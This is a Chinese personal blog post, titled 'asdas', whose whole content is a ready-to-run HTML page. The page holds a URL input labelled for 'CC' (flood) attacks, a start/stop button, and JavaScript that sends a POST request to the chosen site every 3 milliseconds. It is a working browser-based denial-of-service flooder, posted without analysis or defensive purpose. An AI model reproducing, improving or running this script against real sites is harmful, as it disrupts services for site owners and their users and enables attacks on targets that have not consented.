TypechoJoeTheme

小伟の个人博客

统计

asdas

2021-04-23
/
0 评论
/
534 阅读
/
正在检测是否收录...
04/23

<!DOCTYPE html> <html lang="en">

<head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <style>
        body {
            display: flex;
            align-items: center;
            justify-content: center;
        }
        input {
            height: 35px;
            padding: 0 10px;
            box-sizing: border-box;
            outline: none;
        }
    </style>
</head>
<body>
    <input type="text" placeholder="请输入需要被CC的网址" style="margin-right: 10px" />
    <input type="button" value="开始" />
    <script>
        let timer = null;
        const input = document.querySelector('input[type="text"]');
        const button = document.querySelector('input[type="button"]');
        button.addEventListener('click', function () {
            const url = input.value;
            if (!url) return alert('请输入需要被压的域名');
            if (!url.startsWith('http')) return alert('请输入http或https开头的网址');
            if (this.value === '开始') {
                this.value = '停止';
                timer = setInterval(() => {
                    const xhr = new XMLHttpRequest();
                    xhr.open('POST', url, true);
                    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                    xhr.send('name=name');
                }, 3);
            } else {
                this.value = '开始';
                clearInterval(timer);
            }
        });
    </script>
</body> </html>
朗读
赞(0)
版权属于:

小伟の个人博客

本文链接:

https://swimend.com/index.php/archives/4/(转载时请注明本文出处及文章链接)

评论 (0)